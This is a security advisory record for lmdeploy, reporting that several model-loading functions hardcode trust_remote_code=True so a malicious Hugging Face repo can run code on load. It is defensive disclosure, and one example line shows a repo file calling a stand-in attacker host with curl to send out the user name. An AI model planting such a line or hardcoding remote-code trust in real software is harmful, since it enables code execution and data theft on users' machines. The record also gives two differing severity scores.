Advisory

PYSEC-2026-2608

Also known as: CVE-2026-46517, GHSA-9xq9-36w5-q796

Summary

lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out

Details

> ## ๐Ÿ“‹ Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
>
> The accurate description of this vulnerability is:
> **"get_model_arch and related helpers hardcode trust_remote_code=True
> with no opt-out, creating an implicit unsafe remote-code load path
> on every model fetch."**
>
> What this report does NOT claim:
> * It is NOT a network-attack RCE โ€” the user supplies the model
> reference; LMDeploy honors it.
> * It is NOT a "supply chain" CVE in the classical sense (where a
> benign upstream is compromised) โ€” the user explicitly types the
> repo name.
>
> What this report DOES claim:
> * Other inference frameworks (vLLM, TGI, Hugging Face transformers
> itself) all expose --trust-remote-code as opt-in so that
> users who consciously load known-safe repos can opt in, while
> users following a tutorial cannot accidentally execute attacker
> Python by typing a wrong repo name.
> * LMDeploy's hardcoded True is an implicit trust-boundary
> override that violates HF Transformers' default-secure stance
> (trust_remote_code=False since transformers โ‰ฅ 4.30).
> * The fix is a one-line CLI flag (--trust-remote-code) defaulting
> False, threaded through the three sites, matching the rest of
> the ecosystem.
>
> Severity should be assessed as hardening / safe-by-default,
> not as full unauthenticated RCE. CVSS revised to 5.5 Medium
> (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ร— user-must-load qualifier).
>
> Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

---

F13 โ€” LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / [email protected]
Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source โ€” there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a **silent override of HuggingFace Transformers' own
default-secure stance** (trust_remote_code=False) introduced
in HF Transformers โ‰ฅ 4.30 specifically to prevent this class of
supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has **no way to
opt out**. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy โ€” which is incompatible
with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues โ€” e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py โ†’ 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py โ†’ 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py โ†’ 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py โ†’ b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 โ€” architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 โ€” get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.

Site 2 โ€” quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.

Site 3 โ€” calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.

Site 4 โ€” pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 โ€”
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" โ€” a determined caller can pass False โ€” but every
shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against
a HuggingFace repo identifier they did not personally vet. This
includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

Severity

High Basis: CVSS v3 score 7.8, vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Dates

Published
2026-07-13 15:19 UTC
Modified
2026-07-13 16:32 UTC

Affected packages and fixes

lmdeploy

PyPI ยท All systems

Affected

  • introduced 0, last affected 0.12.3 (ecosystem)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database ยท CC BY 4.0

Sources & licences